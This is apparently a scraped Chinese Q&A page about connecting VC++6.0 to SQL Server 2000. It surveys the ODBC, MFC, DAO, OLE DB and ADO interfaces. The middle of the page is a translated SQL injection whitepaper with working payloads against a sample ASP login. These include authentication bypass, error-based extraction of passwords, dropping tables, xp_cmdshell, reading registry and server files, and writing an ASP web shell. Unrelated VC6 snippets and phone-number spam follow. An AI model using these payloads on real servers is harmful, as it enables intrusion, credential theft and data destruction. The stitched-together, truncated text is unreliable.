如何使用vc6.0和sql2000进行连接和数据库操作(查询插入更新删除),最好举例
从功能简单的数据库(如Jet Engine)到复杂的大型数据库系统(如oracle),VC++6.0都提供了一些编程接口。本文主要介绍以下五种: 1.ODBC API;2.MFC ODBC类;3.MFC DAO类;(数据访问对象)4.MFC的OLE/DB;5.ActiveX数据对象(ADO)。6.RDO远程数据访问
1.开放数据库连接(ODBC API):提供了一个通用的编程接口,允许程序与多种不同的数据库连接。它为Oracle,SQL Server,MS Excel等都提供了驱动程序,使得用户可以使用SQL语句对数据库进行直接的底层功能操作。在使用ODBC API时,用户须引入的头文件为 "sql.h ", "sqlext.h ", "sqltypes.h "。用ODBC API创建数据库应用程序遵循一定的基本步骤:
第一步是分配ODBC环境,使一些内部结构初始化。完成这一步,须分配一个SQLHENV类型的变量在ODBC环境中做句柄使用。
第二步是为将要使用的每一个数据源分配一个连接句柄,由函数SQLALLocHandle()完成。
第三步是使用SQLConnect()把连接句柄与数据库连接,可以先通过SQLSetConnectAttr()设置连接属性。
然后就可以进行SQL语句的操作,限于篇幅,相关的函数就不具体介绍了,读者可以参考相关书籍。
操作完成后,用户取回相应的结果,就可以取消与数据库的连接。
最后需要释放ODBC环境。
ODBC API的特点是功能强大丰富,提供了异步操作,事务处理等高级功能,但相应的编程复杂,工作量大。
2.MFC ODBC类:MFC1.5后的版本里引入封装了ODBC功能的类。通过这些类提供与ODBC的接口,使得用户可以不须处理ODBC API中的繁杂处理就可以进行数据库操作。主要的MFC ODBC类如下。
CDatabase类:一个CDatabase对象表示一个到数据源的连接,通过它可以操作数据源。应用程序可使用多个CDatabase对象:构造一个对象并调用OpenEx()成员函数打开一个连接。接着构造CRecordSet对象以操作连接的数据源,并向CDatabase对象传递记录集构造程序指针。完成使用后用Close()成员函数销毁CDatabase对象。一般情况下并不需要直接使用CDatabase对象,因为CRecordSet对象可以实现大多数的功能。但是在进行事务处理时,CDatabase就起到关键作用。事务(Transaction)指的是将一系列对数据源的更新放在一起,同时提交或一个也不提交,为的是确保多用户对数据源同时操作时的数据正确性。
CRecordSet类:一个CRecordSet对象代表一个从数据源选择的一组记录的集合-记录集。记录集有两种形式:snapshot和dynaset。前者表示数据的静态视图,后者表示记录集与其他用户对数据库的更新保持同步。通过CRecordSet对象,用户可以对数据库中的记录进行各种操作。
CRecordView类:CRecordView对象是在空间中显示数据库记录的视图。这种视图是一种直接连到一个CRecordSet对象的格式视图,它从一个对话框模板资源创建,并将CRecordSet对象的字段显示在对话框模板的控件里。对象利用DDX和RFX机制,使格式上的控件和记录集的字段之间数据移动自动化,也就是说,用户甚至不要编写一行代码就可以实现简单的数据库记录查看程序。
CDBException类:由Cexception类派生,以三个继承的成员变量反映对数据库操作时的异常:
m_nRetCode:以ODBC返回代码(SQL_RETURN)的形式表明造成异常的原因。
m_strError:字符串,描述造成抛出异常的错误原因。
m_strStateNativeOrigin:字符串,用以描述以ODBC错误代码表示的异常错误。
MFC数据库类成员函数都能抛出CDBException类型的异常,所以在代码对数据库进行操作后监测异常是正确做法。
MFC ODBC类在实际开发中应用最广,因为它功能丰富,操作相对简便。
3.MFC DAO(数据访问对象)编程:DAO用于和微软的Access数据库接口。在数据库应用程序如果只需与Access数据库接口时,使用DAO编程较方便。其主要类如下。
CDaoWorkspace:CDaoWorkspace对象可以让一个用户管理从登陆到离开期间,指定的密码保护的数据库会话全过程。大多数情况下不要多个工作区也不要创建明确的工作区对象。因为在打开数据库和记录集对象时,它们可以使用DAO缺省工作区。
CDaoDatabase:代表一个连接,类似上述CDatabase类。
CDaoRecordSet:用来选择记录集并操作,类似上述CRecordSet类。
CDaoRecordView:类似上述CRecordView类。
CDaoException:类似上述CDBException类。
CDaoTableDef:表示基本表或附加表的定义。每个DAO数据库对象包括一个称为TableDef的收集,包含所有存储的DAO表定义对象。CDaoTableDef对象可以用来控制表定义。
CDaoQueryDef:CDaoQueryDef对象表示了一个查询定义(querydef)。
CDaoFieldExchange:支持数据库类使用的DAO字段交换(DFX)例程。也可处理事务,类似MFC ODBC类。
MFC DAO仅用来支持Access数据库,应用范围相对固定。
4.OLE DB:OLE DB在数据提供程序和用户之间提供了灵活的组件对象模型(COM)接口,这种灵活性有时会使得操作复杂化。OLE DB框架定义了应用的三个基本类。
数据提供程序Data Provider:拥有自己的数据并以表格形式显示数据的应用程序。提供OLE DB的行集COM接口,期显示范围可以从单一数据表格的简单提供者知道更复杂的分布式数据库系统。
使用者Consumers:使用OLE DB接口对存储在数据提供程序中的数据进行控制的应用程序。用户应用程序归为使用类。
服务提供程序Service Provider:是数据提供程序和使用者的组合。服务提供程序没有自己的数据,但使用
OLE DB使用者接口来访问存储在数据提供程序中的数据。然后,服务提供程序通过打开数据提供程序接口使得数据对使用者有效。服务提供程序常用于向应用程序提供高层次服务,比如高级分布式查询。
OLE DB编程时,用户使用组件对象开发应用程序。这些组件有:
枚举器:用于列出可用的数据源;
数据源:代表单独的数据和服务提供程序,用于创建对话;
对话:用于创建事务和命令;
事务:用于将多个操作归并为单一事务处理;
命令:用于向数据源发送文本命令(SQL),返回行集;
错误:用于获得错误信息。
5.ActiveX数据对象(ADO):是微软提供的面向对象的接口,与OLE DB类似,但接口更简单,具有更广泛的特征数组和更高程度的灵活性。ADO基于COM,提供编程语言可利用的对象,除了面向VC++,还提供面向其他各种开发工具的应用,如VB,VJ等。ADO在服务器应用方面非常有用,特别是对于动态服务器页面ASP(Active Server Page)。
ADO对象结构类似于OLE DB,但并不依靠对象层次。大多数情况下,用户只需要创建并只使用需要处理的对象。下面的对象类组成了ADO接口。
Connection:用于表示与数据库的连接,以及处理一些命令和事务。
Command:用于处理传送给数据源的命令。
Recordset:用于处理数据的表格集,包括获取和修改数据。
Field:用于表示记录集中的列信息,包括列值和其他信息。
Parameter:用于对传送给数据源的命令之间来回传送数据。
Property:用与操作在ADO中使用的其他对象的详细属性。
Error:用于获得可能发生的错误的详细信息。
在VC++使用ADO需要进行COM操作,详细方法在此就不赘述了。
在当今流行的分布式开发环境下,VC++6.0在数据库开发方面有较强的优势,学会
在不同的场合选用不同的技术,对开发人员来说是必要的技术。
#import "msado15.dll" no_namespace replace("EOF","adoEOF")
_ConnectionPtr m_Connection;
_RecordsetPtr m_Recordset;
两个智能指针随便用
这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。
介绍:
SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。
一个典型的SQL语句如下:
Select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
如下:
Forename:jo'hn
Surname:smith
查询语句变为:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
当数据库试图去执行这个查询时,它将返回如下错误:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:
Forename:jo';drop table authors—
Surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
Select id,forename,surname from authors where id=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代码,它是用来控制登陆的:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出现问题的地方是process_lgin.asp中产生查询语句的部分:
Var sql="select * from users where username='"+username+"' and password='"+password+"'";
如果用户输入的信息如下:
Username:';drop table users—
Password:
数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。
攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
Username:admin'—
攻击者可以使用users表中第一个用户,输入如下:
Username:' or 1=1—
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
Username:' union select 1,'fictional_user','some_password',1—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。
通过错误消息获得信息
这个几乎是David Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。
为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后将下面的用户插入到users表中:
Insert into users values(0,'admin','r00tr0x!',0xffff)
Insert into users values(0,'guest','guest',0x0000)
Insert into users values(0,'chris','password',0x00ff)
Insert into users values(0,'fred','sesame',0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。
幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。
(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)
首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
Username:' having 1=1—
这样将会出现如下错误:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:
Username:' group by users.id having 1=1—
出现的错误如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最终攻击者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
这句话并不产生错误,相当于:
select * from users where username=''
因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。
能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:
Username:' union select sum(username) from users—
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。
Username:' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询,例如:
Username:';insert into users values(666,'attacker','foobar','0xffff)—
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:
select * from master ..sysmessages
解释这些将实现有趣的消息。
一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
Username:' union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
这句尝试去将内置的'@@version'常量转化成一个整型数字,因为users表中的第一列是整型数字。
这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:
Username:' union select min(username),1,1,1 from users where username>'a'—
这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。
Username:' union select min(username),1,1,1 from users where username>'admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名,他就可以开始收集密码:
Username:' union select password,1,1,1 from users where username='admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
攻击者使用这个当作用户名登陆(都在一行)
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
这就创建了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。
然后攻击者就可以取得我们要得到的字符串:
Username:' union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
然后丢弃(删除)表来清楚脚印:
Username:'; drop table foo—
这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。
获得更高的权限
一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:
1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。
2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)
3. 利用其他存储过程去改变服务器
4. 在连接的服务器上执行查询
5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码
6. 使用'bulk insert'语法去读服务器上的任意文件
7. 使用bcp在服务器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情
这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:
[xp_cmdshell]
许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。
Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
Exec master..xp_cmdshell 'dir'
将获得SQLSERVER进程的当前工作目录中的目录列表。
Exec master..xp_cmdshell 'net user'
将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。
[xp_regread]
另一个有用的内置存储过程是xp_regXXXX类的函数集合。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
这些函数的使用方法举例如下:
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
这将确定什么样的会话连接在服务器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。
[其他存储过程]
xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
下表中列出了少量的其他有用的存储过程:
Xp_availablemedia 显示机器上有用的驱动器
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的ODBC数据源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程ID,终止此进程
[Linked Servers]
SQL SERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用'sp_addlinkedsrvlogin'过程,当前可信的连接不用登陆就可以访问到服务器。'openquery'函数允许查询脱离服务器也可以执行。
[Custom extended stored procedures]
扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。
一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):
Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll'
在正常的方式下,这个扩展存储过程可以被运行:
exec xp_webserver
一旦这个程序被运行,可以使用下面的方法将它除去:
xp_dropextendedproc 'xp_webserver'
[将文本文件导入表]
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中的数据插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
可以使用上述的错误消息技术,或者使用'union'选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。
[使用bcp建立文本文件]
使用'bulk insert'的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。'bcp',即'bulk copy program'
既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。
命令行格式如下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'
[ActiveX automation scripts in SQL SERVER]
SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:
(1)这个例子使用'wscript.shell'对象建立了一个记事本的实例:
wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
我们可以通过指定在用户名后面来执行它:
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—
(2)这个例子使用'scripting.filesystemobject'对象读一个已知的文本文件:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret=sp_oamethod @f,'readline',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,'readline',@line out
end
(3)这个例子创建了一个能执行通过提交到的任何命令:
-- scripting.filesystemobject example – create a 'run this'.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1
exec @ret=sp_oamethod @f,'writeline',NULL,''
需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用'speech.voicetext'对象引起SQL SERVER发声:
declare @o int,@ret int
exec sp_oacreate 'speech.voicetext',@o out
exec sp_oamethod @o,'register',NULL,'foo','bar'
exec sp_oasetproperty @o,'speed',150
exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
waitfor delay '00:00:05'
我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):
Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--
[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。
本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。
比较好的常规的标准是:
· 如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。
· 如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的
如何在vc6.0下编写一个程序?
1、首先打开vc6.0, 新建一个项目。2、然后添加头文件。3、添加main主函数。4、定义一个两个数相加的函数binSubtracton。5、在main函数定义int了性number1,number2, binSub。6、使用scanf给变量赋值。7、调用binAddition、binSubtracton。8、运行程序,看看结果就完成了。
vc++6.0和VC2017区别
一、含义不同 Visual C ++ 6.0,称为VC或VC6.0,是Microsoft的C ++编译器,可将“高级语言”转换为“机器语言(低级语言)”程序。VC ++ 2017运行时库是vc ++ 2017运行时库,它是Microsoft C ++开发工具。二、版本时间不同 VC6.0是革命性的产品。许多公司和个人仍然使用它。 VC6.0是C语言...
VC6.0如何调节代码的字体和大小
VC6.0是我们用得比较多的编辑和编译工具,有时我们会使用它来讲解C语言,但有时经常出现用投影仪展示时学生看不清楚,我们需要调节字体大小时往往会一时找不到在哪里调节。所以我在这里就记录下来和大家一起分享。首先,我们必须打开Microsoft Visual C++ 6.0这个软件,写入自己的代码。接下来,在菜单...
为什么现在还有那么多的人使用vc++6.0?
因为VC6太经典,太成功了。vc6很适合做底层,运行速度也很快。相同的程序功能对比如下:1.高版本vs编译的程序如果需要800M内存,20M磁盘空间,运行速度1秒的话,2.使用vc6可以将所需内存降到100M,磁盘空间降低到5M,运行速度<0.5秒。3.安装包你keyi 比较以下,vs动则x个G,vc6精简版只有25M,...
Windows11怎么打开VC++6.0?
如今仍用于维护旧的项目。(但是,这个版本在Windows XP下运行会出现问题,尤其是在调试模式的情况下。这个调试问题可以通过打一个叫“Visual C++ 6.0 Processor Pack”的补丁来解决。)。Microsoft Visual C++ 6.0对windows7和windows8的兼容性较差。在Windows7使用VC6.0只需要忽略兼容性提示即可正常...
VC++ 6.0是做什么用的
Visual C++ 6.0,简称VC或者VC6.0,是微软推出的一款C++编译器,将“高级语言”翻译为“机器语言(低级语言)”的程序。Visual C++是一个功能强大的可视化软件开发工具。自1993年Microsoft公司推出Visual C++1.0后,随着其新版本的不断问世,Visual C++已成为专业程序员进行软件开发的首选工具。虽然微软...
我的电脑上安装了VC6.0和vs2012,为什么用VC6.0写好的工程再次打开的时候...
右键dsw文件,打开方式,选择打开程序,浏览,找到:你的盘符:\\Program Files\\Microsoft Visual Studio\\Common\\MSDev98\\Bin\\MSDEV.EXE 确定,打开。(如果希望一直打开,选择程序中,选中“始终使用”再确定)之后,打开方式就有VC6了。
...正在自学C语言,编好程序不会用VC6.0进行编译等操作。
我的步骤是:先随便在一个文件夹里面右键新建一个txt文档,然后重命名成.c文档,然后用VC6.0打开,进行编码。程序编好之后 选择红线划的,那个叫编译,或者选择上面选项栏里面的“组建”下拉表中的“编译XX文件”,当然这里也显示的了快捷键“ctrl + F7”。都能实现编译的工作。在 按照我的步骤会...
现在编写c++程序,用vc6.0好还是vs2010 好??
建议用vs2010,因为vc6的标准模板库不标准,有很多应该有的功能都没实现。现在c++11标准已经出来了,建议使用最新的编译器
vc6.0中如何生成lib文件,以及生成以后如何使用啊
楼上正解。补充一下:使用方法:include "mylib.h"pragma comment(lib,"mylib.lib")运行时把dll和程序的exe放到一个目录下。
通武严灭: 自己写的一些,希望能够给你一些帮助!1:在SQL中建立数据库(如meg),在数据库中建立表格(如stu);2:在保证SQL服务器启动的情况之下,在控制面板的ODBC控制器中添加一个SQL驱动的数据源(如defau,服务器名在SQL服务管理...
常宁市13857877617: vc++连接SQL Server 2000 - ?
通武严灭: 这个不是一句两句可以说清楚的 给你语句还有其他工作要做 比如用ADO连接数据源前的准备工作1)在头文件中引入相应的库文件(一般放在StdAfx.h中).……#import "c:\Program Files\Common Files\System\ADO\msado15.dll" no_...
常宁市13857877617: 如何用VC6.0通过ODBC访问SQL Server 2000? - ?
通武严灭: 用ADO吧,以下代码实现到数据的连接,数据访问自己看看!_ConnectionPtr m_pConnection;_RecordsetPtr m_pRecordset;//初始化com环境::CoInitialize(NULL);//创建连接对象和记录集对象HRESULT hr;CString ss;ss.Format("...
常宁市13857877617: 在windows 7下如何安装Microsoft visual C++6.0和SQL2000 - ?
通武严灭: 上帝呀!难道你真的想让 98 年推出的 VC6 在 09 年 10 月 即将正式推出的 Win7 中被完美的兼容么?这就像你在 18 岁的时候依然恋恋不忘 9 岁时穿的漂亮的花衣服,虽然美丽,但有很多地方已经跟不上你了,微软也在随着时代推出着各种新的...
常宁市13857877617: vc6.0 C++语言如何嵌入sql语句?在管理工具中设定完ODBC之后,该怎么使VC与sql sever2000进行连接 - ?
通武严灭: CoInitialize(NULL); _ConnectionPtr pConn(__uuidof(Connection)); _RecordsetPtr pRst(__uuidof(Recordset)); ...
常宁市13857877617: 如何用VC+SQL2000做一个航空售票系统? - ?
通武严灭: 1.做好需求分析 2.按实际需求用sqlserver建库,包括存储过程. 3.用vc开发程序连接并操作数据库实现其具体功能,涉及到的控件没有的自己写,有的直接用,建议使用c++builder. 4.测试修正.
常宁市13857877617: 请高手解答用VC6.0连接SQL server2000 的问题 - ?
